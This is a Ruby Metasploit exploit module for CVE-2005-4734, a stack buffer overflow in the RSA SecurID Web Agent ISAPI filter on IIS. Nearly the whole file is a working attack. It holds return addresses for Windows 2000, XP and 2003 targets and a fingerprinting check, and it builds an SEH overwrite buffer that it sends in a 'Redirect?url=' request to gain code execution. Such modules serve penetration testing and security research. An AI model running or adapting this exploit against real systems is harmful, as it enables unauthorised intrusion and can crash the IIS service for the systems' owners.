##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft IIS ISAPI RSA WebAgent Redirect Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the SecurID Web
        Agent for IIS. This ISAPI filter runs in-process with
        inetinfo.exe, any attempt to exploit this flaw will result
        in the termination and potential restart of the IIS service.

      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-4734'],
          ['OSVDB', '20151'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f" +
            (0x3a..0x3f).to_a.pack('C*') + "\x40\x5c" + "Zz",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Version-specific return addresses
          ['RSA WebAgent 5.2', { 'Rets' => [ 996, 0x1001e694 ] }],
          ['RSA WebAgent 5.3', { 'Rets' => [ 992, 0x10010e89 ] }],

          # Generic return addresses
          ['RSA WebAgent 5.2 on Windows 2000 English', { 'Rets' => [ 996, 0x75022ac4 ] }],
          ['RSA WebAgent 5.3 on Windows 2000 English', { 'Rets' => [ 992, 0x75022ac4 ] }],

          ['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', { 'Rets' => [ 996, 0x71ab1d54 ] }],
          ['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', { 'Rets' => [ 992, 0x71ab1d54 ] }],

          ['RSA WebAgent 5.2 on Windows XP SP2 English', { 'Rets' => [ 996, 0x71ab9372 ] }],
          ['RSA WebAgent 5.3 on Windows XP SP2 English', { 'Rets' => [ 992, 0x71ab9372 ] }],

          ['RSA WebAgent 5.2 on Windows 2003 English SP0', { 'Rets' => [ 996, 0x7ffc0638 ] }],
          ['RSA WebAgent 5.3 on Windows 2003 English SP0', { 'Rets' => [ 992, 0x7ffc0638 ] }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2005-10-21'))

    register_options(
      [
        OptString.new('URL', [ true,  "The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]),
      ])
  end

  def check
    r = send_request_raw({
      'uri'   => normalize_uri(datastore['URL']),
      'query' => 'GetPic?image=msf'
    }, -1)

    if (r and r.body and r.body =~ /RSA Web Access Authentication/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit

    pat = rand_text_alphanumeric(8192).gsub(/\d|Z/i, 'A') # HACK
    seh = generate_seh_payload(target['Rets'][1])
    pat[target['Rets'][0]-4, seh.length] = seh

    r = send_request_raw({
      'uri'   => normalize_uri(datastore['URL']),
      'query' => 'Redirect?url=' + pat
    }, 5)

    handler
    disconnect
  end
end
